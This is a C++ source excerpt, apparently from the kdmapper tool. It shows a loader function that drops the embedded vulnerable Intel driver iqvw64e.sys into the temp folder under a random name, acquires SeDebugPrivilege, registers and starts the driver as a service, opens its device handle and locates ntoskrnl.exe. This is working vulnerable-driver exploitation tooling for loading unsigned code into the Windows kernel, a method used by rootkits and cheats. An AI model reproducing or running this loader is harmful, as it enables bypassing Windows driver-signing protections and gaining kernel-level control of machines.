| 121 | } |
| 122 | |
| 123 | NTSTATUS intel_driver::Load() { |
| 124 | srand((unsigned)time(NULL) * GetCurrentThreadId()); |
| 125 | |
| 126 | //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name |
| 127 | if (intel_driver::IsRunning()) |
| 128 | { |
| 129 | Log::Error("\\Device\\Nal is already in use.>>>\nThis means that there is a intel driver already loaded or another instance of kdmapper is running or kdmapper crashed and didn't unload the previous driver.>>>\nIf you are sure that there is no other instance of kdmapper running, you can try to restart your computer to fix this issue.>>>\nIf the problem persists, you can try to unload the intel driver manually (If the driver was loaded with kdmapper will have a random name and will be located in %temp%), if not, the driver name is iqvw64e.sys.", false); |
| 130 | return STATUS_ALREADY_REGISTERED; |
| 131 | } |
| 132 | |
| 133 | Log::Info("Loading intel driver"); |
| 134 | |
| 135 | std::wstring driver_path = GetDriverPath(); |
| 136 | if (driver_path.empty()) |
| 137 | { |
| 138 | Log::Error("Can't find TEMP folder", false); |
| 139 | return STATUS_UNSUCCESSFUL; |
| 140 | } |
| 141 | |
| 142 | _wremove(driver_path.c_str()); |
| 143 | |
| 144 | if (!kdmUtils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) { |
| 145 | Log::Error("Failed to create vulnerable driver file", false); |
| 146 | return STATUS_DISK_OPERATION_FAILED; |
| 147 | } |
| 148 | |
| 149 | auto status = AcquireDebugPrivilege(); |
| 150 | if (!NT_SUCCESS(status)) { |
| 151 | Log::Error("Failed to acquire SeDebugPrivilege", false); |
| 152 | _wremove(driver_path.c_str()); |
| 153 | return status; |
| 154 | } |
| 155 | |
| 156 | status = service::RegisterAndStart(driver_path, GetDriverNameW()); |
| 157 | if (!NT_SUCCESS(status)) { |
| 158 | Log::Error("Failed to register and start service for the vulnerable driver", false); |
| 159 | _wremove(driver_path.c_str()); |
| 160 | return status; |
| 161 | } |
| 162 | |
| 163 | hDevice = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); |
| 164 | |
| 165 | if (!hDevice || hDevice == INVALID_HANDLE_VALUE) |
| 166 | { |
| 167 | Log::Error("Failed to load driver iqvw64e.sys", false); |
| 168 | intel_driver::Unload(); |
| 169 | return STATUS_NOT_FOUND; |
| 170 | } |
| 171 | |
| 172 | ntoskrnlAddr = kdmUtils::GetKernelModuleAddress("ntoskrnl.exe"); |
| 173 | if (ntoskrnlAddr == 0) |
| 174 | { |
| 175 | Log::Error("Failed to get ntoskrnl.exe", false); |
| 176 | intel_driver::Unload(); |
| 177 | return STATUS_BAD_DLL_ENTRYPOINT; |
| 178 | } |
| 179 | |
| 180 | //check MZ ntoskrnl.exe |